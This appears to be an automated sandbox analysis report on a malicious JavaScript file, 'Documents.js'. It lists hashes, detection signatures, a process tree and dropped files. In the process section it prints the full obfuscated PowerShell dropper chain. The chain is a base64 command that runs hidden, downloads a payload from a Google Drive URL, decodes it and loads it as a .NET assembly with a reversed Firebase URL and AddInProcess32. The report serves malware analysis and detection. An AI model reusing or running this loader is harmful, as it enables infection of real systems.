Analysis

  • max time kernel
    134s
  • max time network
    203s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-11-2024 00:53

General

  • Target

    Documents.js

  • Size

    400.0MB

  • MD5

    647813cf3cca40181f8330cec1ee80df

  • SHA1

    ca602c6199ffe426328e277a05dc849a574be41b

  • SHA256

    1f75d59616e804ffbe35de4e67a33db2c58c55da59d4302f818a53f4d6d1b9c9

  • SHA512

    acf4bb9d182f41185a86c36c630d273716041f974c6cf5c36dae4ebfe434369220474f38c483cdfbac6f8171980931f976330ee8d9be7d76c2976f5b45becbc8

  • SSDEEP

    3072:kE2dapfO3R9u2rWy5ei4uzUuHUdTxcE2dapfO3R9u2rWy5e:kE5pkbuK8ErkcE5pkbuK8

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Documents.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4956
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KAAoACcAbABXAEcAaQBtAGEAZwBlACcAKwAnAFUAcgBsACAAPQAgAEcAVgBLAGgAdAB0AHAAcwA6AC8ALwBkAHIAaQB2AGUALgBnAG8AbwBnAGwAZQAuAGMAbwBtAC8AdQBjAD8AZQB4ACcAKwAnAHAAbwByAHQAPQBkAG8AdwBuAGwAbwBhAGQAJgBpAGQAPQAxAEEASQBWAGcASgBKAEoAdgAxAEYANgB2AFMANABzAFUATwB5AGIAbgBIAC0AcwBEAHYAVQBoAEIAWQB3AHUAcgAgAEcAVgBLADsAbABXAEcAdwBlAGIAJwArACcAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagAnACsAJwBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7AGwAVwBHAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAAbABXACcAKwAnAEcAdwBlAGIAQwBsAGkAZQBuAHQALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoAGwAVwBHAGkAbQBhAGcAJwArACcAZQBVAHIAbAApADsAbABXAEcAaQBtAGEAZwBlAFQAZQB4AHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAbABXAEcAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsAbABXAEcAcwB0AGEAcgB0AEYAbABhAGcAIAA9ACAARwBWAEsAPAA8AEIAJwArACcAQQAnACsAJwBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgBHAFYASwA7AGwAVwBHAGUAbgBkAEYAbABhAGcAIAA9ACAARwBWAEsAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+AEcAVgBLADsAbABXAEcAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIABsAFcARwBpACcAKwAnAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKABsAFcARwBzAHQAYQByAHQARgBsACcAKwAnAGEAZwApADsAbABXAEcAZQBuAGQASQBuAGQAZQB4ACAAPQAgAGwAVwBHAGkAbQBhAGcAZQAnACsAJwBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoAGwAVwBHAGUAbgBkAEYAbABhAGcAKQA7AGwAVwBHAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAbABXAEcAZQBuAGQASQBuAGQAZQB4ACAALQBnAHQAIABsAFcARwBzAHQAYQByAHQASQBuAGQAZQB4ADsAbABXAEcAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgAGwAVwBHAHMAdABhAHIAdABGAGwAYQBnAC4ATABlAG4AZwB0AGgAOwBsAFcARwBiAGEAcwBlADYANABMAGUAbgBnAHQAaAAgAD0AIABsAFcARwBlAG4AZABJAG4AZABlAHgAIAAtACAAbABXAEcAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AGwAVwBHAGIAYQBzAGUAJwArACcANgA0AEMAbwBtAG0AYQBuAGQAIAA9ACAAbABXAEcAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpACcAKwAnAG4AZwAoAGwAVwBHAHMAdABhAHIAdABJAG4AZABlAHgALAAgAGwAVwBHAGIAYQBzAGUAJwArACcANgA0ACcAKwAnAEwAZQBuAGcAdABoACkAOwBsAFcARwBiAGEAcwBlADYANABSACcAKwAnAGUAdgBlAHIAcwAnACsAJwBlAGQAIAA9ACAALQBqAG8AaQBuACAAKABsAFcARwAnACsAJwBiAGEAcwBlADYAJwArACcANABDAG8AbQBtAGEAbgBkAC4AVABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAgAEgAegBhACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgAGwAVwBHAF8AIAB9ACkAWwAtADEALgAuAC0AKABsAFcARwBiAGEAJwArACcAcwBlADYANABDAG8AbQBtAGEAbgBkAC4ATABlAG4AZwB0AGgAKQBdADsAbABXAEcAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AJwArACcAZwAoAGwAVwBHACcAKwAnAGIAYQBzAGUANgA0AFIAZQB2AGUAcgBzAGUAZAApADsAbABXAEcAbABvAGEAZABlACcAKwAnAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABsAFcARwBjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsAbABXAEcAdgBhAGkATQBlAHQAaABvAGQAJwArACcAIAA9ACAAWwBkAG4AbABpAGIALgBJAE8ALgBIAG8AbQBlACcAKwAnAF0ALgBHAGUAdABNAGUAdABoAG8AJwArACcAZAAoAEcAVgBLAFYAJwArACcAQQBJAEcAVgBLACkAOwBsAFcARwB2AGEAaQBNAGUAdABoAG8AZAAuAEkAbgB2AG8AawBlACgAbABXAEcAbgB1AGwAbAAsACAAQAAoAEcAVgBLADQAMQBjAGQANgBhADIAYgBmAGUAZQA4AC0AMAA5AGIAOAAtAGUANAAyADQALQBkADIAZgAzAC0AMQAzADYANwA1ADAAMAAwAD0AbgBlAGsAbwB0ACYAYQBpAGQAZQBtAD0AdABsAGEAPwB0AHgAdAAuADQAMgAwADIAMAAxADYAJwArACcAMAAyADkAMAA4AG0AcgBvAHcAeABuACcAKwAnAGgAbwBqAC8AbwAvAG0AbwBjAC4AdABvAHAAJwArACcAcwBwAHAAYQAuADQAMgAwADIAcwB0AHAAeQByAGMAJwArACcALwBiAC8AMAB2AC8AbQBvAGMALgBzAGkAcABhAGUAbABnAG8AbwBnAC4AZQBnAGEAcgBvAHQAcwBlAHMAYQBiAGUAcgBpAGYALwAvADoAcwBwACcAKwAnAHQAdABoAEcAVgAnACsAJwBLACwAIABHAFYASwBkAGUAcwBhAHQAaQB2AGEAZABvAEcAVgBLACwAJwArACcAIABHAFYASwBkAGUAcwBhAHQAaQB2AGEAZABvAEcAVgBLACwAIABHAFYASwBkACcAKwAnAGUAcwBhAHQAaQB2AGEAZABvAEcAVgBLACcAKwAnACwAIABHAFYASwBBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAzADIARwBWAEsALAAgAEcAVgBLAGQAZQBzAGEAdABpAHYAYQBkAG8ARwBWAEsALAAgAEcAVgBLAGQAZQBzAGEAdABpAHYAYQBkAG8ARwBWAEsALABHAFYASwBkAGUAcwBhAHQAaQB2AGEAZABvAEcAVgBLACwARwBWAEsAZABlAHMAYQAnACsAJwB0AGkAdgBhAGQAbwAnACsAJwBHAFYASwAsAEcAVgBLAGQAZQBzAGEAdABpAHYAYQBkAG8ARwBWAEsALABHAFYASwBkAGUAcwBhAHQAaQB2ACcAKwAnAGEAZABvAEcAVgAnACsAJwBLACwARwBWAEsAZABlAHMAYQB0AGkAdgBhAGQAbwBHAFYASwAsAEcAVgBLADEARwBWAEsALABHAFYASwBkAGUAcwBhAHQAaQB2AGEAZABvAEcAVgBLACkAKQAnACsAJwA7ACcAKQAtAGMAUgBlAFAAbABBAEMARQAgACAAJwBIAHoAYQAnACwAWwBDAGgAQQByAF0AMQAyADQAIAAtAHIAZQBQAGwAYQBjAEUAIAAgACcARwBWAEsAJwAsAFsAQwBoAEEAcgBdADMAOQAgAC0AYwBSAGUAUABsAEEAQwBFACcAbABXAEcAJwAsAFsAQwBoAEEAcgBdADMANgApAHwAIABpAG4AVgBPAGsAZQAtAEUAeABQAHIARQBzAHMAaQBvAE4A';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4216
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('lWGimage'+'Url = GVKhttps://drive.google.com/uc?ex'+'port=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur GVK;lWGweb'+'Client = New-Obj'+'ect System.Net.WebClient;lWGimageBytes = lW'+'GwebClient.DownloadData(lWGimag'+'eUrl);lWGimageText = [System.Text.Encoding]::UTF8.GetString(lWGimageBytes);lWGstartFlag = GVK<<B'+'A'+'SE64_START>>GVK;lWGendFlag = GVK<<BASE64_END>>GVK;lWGstartIndex = lWGi'+'mageText.IndexOf(lWGstartFl'+'ag);lWGendIndex = lWGimage'+'Text.IndexOf(lWGendFlag);lWGstartIndex -ge 0 -and lWGendIndex -gt lWGstartIndex;lWGstartIndex += lWGstartFlag.Length;lWGbase64Length = lWGendIndex - lWGstartIndex;lWGbase'+'64Command = lWGimageText.Substri'+'ng(lWGstartIndex, lWGbase'+'64'+'Length);lWGbase64R'+'evers'+'ed = -join (lWG'+'base6'+'4Command.ToCharArray() Hza ForEach-Object { lWG_ })[-1..-(lWGba'+'se64Command.Length)];lWGcommandBytes = [System.Convert]::FromBase64Strin'+'g(lWG'+'base64Reversed);lWGloade'+'dAssembly = [System.Reflection.Assembly]::Load(lWGcommandBytes);lWGvaiMethod'+' = [dnlib.IO.Home'+'].GetMetho'+'d(GVKV'+'AIGVK);lWGvaiMethod.Invoke(lWGnull, @(GVK41cd6a2bfee8-09b8-e424-d2f3-13675000=nekot&aidem=tla?txt.4202016'+'02908mrowxn'+'hoj/o/moc.top'+'sppa.4202stpyrc'+'/b/0v/moc.sipaelgoog.egarotsesaberif//:sp'+'tthGV'+'K, GVKdesativadoGVK,'+' GVKdesativadoGVK, GVKd'+'esativadoGVK'+', GVKAddInProcess32GVK, GVKdesativadoGVK, GVKdesativadoGVK,GVKdesativadoGVK,GVKdesa'+'tivado'+'GVK,GVKdesativadoGVK,GVKdesativ'+'adoGV'+'K,GVKdesativadoGVK,GVK1GVK,GVKdesativadoGVK))'+';')-cRePlACE 'Hza',[ChAr]124 -rePlacE 'GVK',[ChAr]39 -cRePlACE'lWG',[ChAr]36)| inVOke-ExPrEssioN"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4968

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    a6c9d692ed2826ecb12c09356e69cc09

    SHA1

    def728a6138cf083d8a7c61337f3c9dade41a37f

    SHA256

    a07d329eb9b4105ba442c89f7cfa0d7b263f9f0617e26df93cf8cdc8dc94d57b

    SHA512

    2f27d2b241ce34f988c39e17ca5a1ebe628ac6c1b8ee8df121db9ad8929eaadf5f24ad66457591cccf87e60d2ba2eab88af860ab9c323a5c2a9867045d6e7ba3

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v2oq1xte.gt4.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/4216-0-0x00007FFBB2ED3000-0x00007FFBB2ED5000-memory.dmp

    Filesize

    8KB

  • memory/4216-6-0x00000198AC730000-0x00000198AC752000-memory.dmp

    Filesize

    136KB

  • memory/4216-11-0x00007FFBB2ED0000-0x00007FFBB3991000-memory.dmp

    Filesize

    10.8MB

  • memory/4216-12-0x00007FFBB2ED0000-0x00007FFBB3991000-memory.dmp

    Filesize

    10.8MB

  • memory/4216-27-0x00007FFBB2ED0000-0x00007FFBB3991000-memory.dmp

    Filesize

    10.8MB